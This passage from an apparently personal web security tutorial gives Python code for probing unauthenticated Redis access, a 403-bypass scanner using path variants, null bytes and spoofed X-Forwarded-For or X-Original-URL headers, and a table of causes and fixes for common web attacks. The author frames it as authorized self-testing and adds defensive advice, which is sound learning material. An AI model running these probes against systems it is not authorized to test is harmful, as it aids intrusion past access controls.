redis_indicators = [
"+PONG", "redis_version", ":0", ":1",
"NOAUTH", "tcp_port",
]
found = False
for indicator in redis_indicators:
if indicator in r.text:
print(f"[{name}] Redis string observation candidate -> {indicator}")
self.results.append({
"type": "resp_response_candidate",
"name": name,
"indicator": indicator,
})
found = True
break
if not found:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f"[{name}] Error: {e}")
return self.results
# ============================================
# 11.4.3 Unauthenticated Redis Access Testing
# ============================================
def test_unauth_redis(self, host="127.0.0.1", port=6379,
timeout=5):
"""Unauthenticated Redis Access Test (Direct TCP Connection)
Principle:
Whether Redis is actually accessible depends on the `bind` setting, protected mode, ACLs,
and network firewall configuration. The mere fact that a port is open
is not sufficient to conclude that unauthenticated access is possible.
This test sends the Redis protocol over a direct TCP socket,
not over HTTP.
Prerequisite: the target IP/port must fall within the authorized scope of testing
"""
print(f"\n[Redis Unauth] {host}:{port}")
try:
sock = socket.socket(
socket.AF_INET, socket.SOCK_STREAM
)
sock.settimeout(timeout)
sock.connect((host, port))
# --- Sending PING ---
sock.send(b"PING\r\n")
response = sock.recv(1024)
print(f"PING response: {response}")
if response.startswith(b"+PONG\r\n"):
print("-> PING answered without supplied credentials; other command permissions unverified")
self.results.append({
"type": "redis_ping_without_auth_candidate",
"host": host,
"port": port,
})
sock.close()
except socket.timeout:
print(f"-> Connection or response timed out (cause unverified)")
except ConnectionRefusedError:
print(f"-> Connection refused (port closed)")
except Exception as e:
print(f"-> Error: {e}")
return self.resultsTransfer encoding note: If you send the
crlf_payloadsabove viarequests'sparams,\r\nwill be encoded as%0D%0Aand%0d%0awill be double-encoded as%250d%250a. To test with raw CRLF bytes, you need to inspect the bytes of the final URL directly, as described in the path traversal note in Section 9.3.Judgment criteria: This HTTP example is intended for exploratory response-string collection and should not be treated as a definitive Redis injection confirmer. The argument handling of a normal RESP client, raw protocol composition, network exposure, and authentication/ACL are all distinct boundaries. Commands with heavy operational overhead, such as
KEYS *, are intentionally excluded from this example. Redis Security Documentation, KEYS Documentation
12. 403 Forbidden Bypass
12.1 Why Does a 403 Appear?
403 is a status code indicating that the server understood the request but refused to process it. It does not necessarily confirm the existence of the target file or identify the blocking layer. The cause may be web server configuration, application-level permissions, WAF policy, or other factors.
However, blocking rules may not be perfect, and accessing the same file through a different method can sometimes bypass the restriction.
12.2 Bypass Techniques
Technique | Principle | Example |
|---|---|---|
URL Encoding | Encode |
|
Double Encoding | Encode twice to bypass the server's decoding step |
|
Path Traversal | Use |
|
Header Spoofing | Disguise the source as an internal IP using headers like |
|
Method Substitution | Only GET is blocked while other methods are allowed |
|
Trailing Characters | Append a dot or slash at the end |
|
- Technique
URL Encoding
- Principle
Encode
.as%2eto bypass pattern matching- Example
/adminβ/%61dmin
- Technique
Double Encoding
- Principle
Encode twice to bypass the server's decoding step
- Example
%2eβ%252e
- Technique
Path Traversal
- Principle
Use
../to access the same file via a different path- Example
/../admin/
- Technique
Header Spoofing
- Principle
Disguise the source as an internal IP using headers like
X-Forwarded-For- Example
X-Forwarded-For: 127.0.0.1
- Technique
Method Substitution
- Principle
Only GET is blocked while other methods are allowed
- Example
POST /admin
- Technique
Trailing Characters
- Principle
Append a dot or slash at the end
- Example
/admin./admin/
12.3 Code: 403 Bypass Scanner
import requests
import time
class BypassScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def test_403_bypass(self, target_url):
"""403 Forbidden Bypass Testing
Principle:
Attempt variations on paths that return 403.
Status code changes such as 200, 301, or 404 are only candidates for further review;
a bypass is confirmed only when the same content or access level of the protected original resource is verified.
Why each technique works:
- URL encoding: the web server decodes before matching, but
if the filter matches before decoding, the request passes through
- X-Forwarded-For: if the backend trusts this header and
treats the request as local, the block is lifted
- Method change: only GET is blocked while other methods are
allowed
- Double extension: `/admin.php.bak` is
processed as `.bak`, not `.php`
"""
print(f"\n[403 Bypass] {target_url}")
# --- 1. Baseline: Original Request ---
r_base = self.session.get(target_url, timeout=10)
print(f"Original: {r_base.status_code}")
if r_base.status_code != 403:
print("Not 403 β bypass unnecessary")
return self.results
# --- 2. URL Variations ---
# /admin.php β /Admin.php, /admin.php.,
# `/admin.php%00`, `/%61dmin.php`, etc.
url_variants = [
(f"{target_url}.", "trailing_dot"),
(f"{target_url}/", "trailing_slash"),
(f"{target_url}.txt", "ext_txt"),
(f"{target_url}.bak", "ext_bak"),
(f"{target_url}.old", "ext_old"),
(f"{target_url}%00", "null_byte"),
(f"{target_url}%00.txt", "null_txt"),
]
for test_url, name in url_variants:
time.sleep(self.delay)
try:
r = self.session.get(test_url, timeout=10, allow_redirects=False)
if r.status_code != 403:
print(f"[{name}] {r.status_code} β candidate for response change")
self.results.append({
"type": "403_response_candidate",
"technique": name,
"status": r.status_code,
"length": len(r.text),
})
else:
print(f" [{name}] 403")
except Exception:
print(f"[{name}] error")
# --- 3. Header-Based Bypass ---
# If the backend trusts these headers, the request is treated as an internal one
# `X-Original-URL` / `X-Rewrite-URL` expects a path, not the full URL.
from urllib.parse import urlsplit
target_path = urlsplit(target_url).path or "/"
header_variants = [
({"X-Forwarded-For": "127.0.0.1"}, "xff_local"),
({"X-Real-IP": "127.0.0.1"}, "xrip_local"),
({"X-Original-URL": target_path}, "xoriginal"),
({"X-Rewrite-URL": target_path}, "xrewrite"),
({"X-Forwarded-Host": "localhost"}, "xfh_local"),
({"Referer": "https://example.com"}, "referer"),
]
for headers, name in header_variants:
time.sleep(self.delay)
try:
r = self.session.get(
target_url, headers=headers, timeout=10,
allow_redirects=False
)
if r.status_code != 403:
print(f"[{name}] {r.status_code} β candidate for response change")
self.results.append({
"type": "403_header_candidate",
"technique": name,
"status": r.status_code,
})
else:
print(f" [{name}] 403")
except Exception:
print(f"[{name}] error")
# --- 4. HTTP Method Bypass ---
# Methods that could cause modification or deletion are not executed automatically.
methods = ["HEAD", "OPTIONS"]
for method in methods:
time.sleep(self.delay)
try:
r = self.session.request(
method, target_url, timeout=10,
allow_redirects=False
)
if r.status_code not in [403, 405]:
print(f"[{method}] {r.status_code} β candidate for response change")
self.results.append({
"type": "403_method_candidate",
"method": method,
"status": r.status_code,
})
else:
print(f" [{method}] {r.status_code}")
except Exception:
print(f"[{method}] error")
return self.resultsHow to verify: Send the modified request, then compare the actual response content, authenticated principal, and redirect destination against the original protected resource and the public error page. Even if a 403 changes to a 404 or 200, the response may point to a different resource, a login screen, or a generic error page. OWASP Authorization Bypass Testing
Key Summary: The "Why" Behind Each Attack
Attack | Why It Works | How to Prevent It |
|---|---|---|
SQLi | User input is concatenated directly into SQL syntax | Parameterized queries (using |
XSS | Untrusted input is injected into an executable browser context | Context-aware encoding, safe DOM APIs, and CSP where needed |
RCE | Input enters a code or command execution boundary | Avoid shell invocation, pass structured arguments, and apply least privilege |
SSRF | The server makes requests to unvalidated destinations | Destination allowlisting, IP validation at connection time, and redirect control |
Path traversal | Accessing parent directories via | Path normalization combined with a whitelist |
Authentication bypass | Query conditions ignored via SQLi | Parameterized binding combined with password hashing |
IDOR | No authorization check on object IDs | Adding ownership verification |
CSRF | State change without a token | CSRF token + SameSite cookie |
Redis injection | When assembling the raw protocol manually, command boundaries become unstable | Use an official RESP client, separate arguments, apply ACLs, and restrict network access |
403 bypass | Authorization checks are not applied consistently across variant paths and methods | Per-object permission validation on the server side, with consistent path and method policy enforcement |
- Attack
SQLi
- Why It Works
User input is concatenated directly into SQL syntax
- How to Prevent It
Parameterized queries (using
?)
- Attack
XSS
- Why It Works
Untrusted input is injected into an executable browser context
- How to Prevent It
Context-aware encoding, safe DOM APIs, and CSP where needed
- Attack
RCE
- Why It Works
Input enters a code or command execution boundary
- How to Prevent It
Avoid shell invocation, pass structured arguments, and apply least privilege
- Attack
SSRF
- Why It Works
The server makes requests to unvalidated destinations
- How to Prevent It
Destination allowlisting, IP validation at connection time, and redirect control
- Attack
Path traversal
- Why It Works
Accessing parent directories via
../- How to Prevent It
Path normalization combined with a whitelist
- Attack
Authentication bypass
- Why It Works
Query conditions ignored via SQLi
- How to Prevent It
Parameterized binding combined with password hashing
- Attack
IDOR
- Why It Works
No authorization check on object IDs
- How to Prevent It
Adding ownership verification
- Attack
CSRF
- Why It Works
State change without a token
- How to Prevent It
CSRF token + SameSite cookie
- Attack
Redis injection
- Why It Works
When assembling the raw protocol manually, command boundaries become unstable
- How to Prevent It
Use an official RESP client, separate arguments, apply ACLs, and restrict network access
- Attack
403 bypass
- Why It Works
Authorization checks are not applied consistently across variant paths and methods
- How to Prevent It
Per-object permission validation on the server side, with consistent path and method policy enforcement

The evasion of responsibility is the major cause of most peoples frustrations and defeats.
β Ayn Rand
Today I ran a security test against my own site, then organized the methodology I know into a general framework. I have no idea how many people will actually read this. Honestly, most visitors to my site will probably skip it as too basic. Even so, I wrote it because I know I'll come back to read it myself someday.
I don't really know security either. I just know enough to stay out of trouble, to cover my own responsibilities. The way I see it, the most important thing in programming is knowing exactly where your responsibility ends, and doing what it takes to keep that scope as small as possible.
I found no major problem in the checks I ran today. If a truly fearsome hacker turns up, my site may still crumble without a fight, so tonight I find myself pleading for their mercy.
As a programmer, I feel that the most important thing is an attitude that doesn't make enemies. First, humility; second, humility. Because you never know when you might get completely wrecked.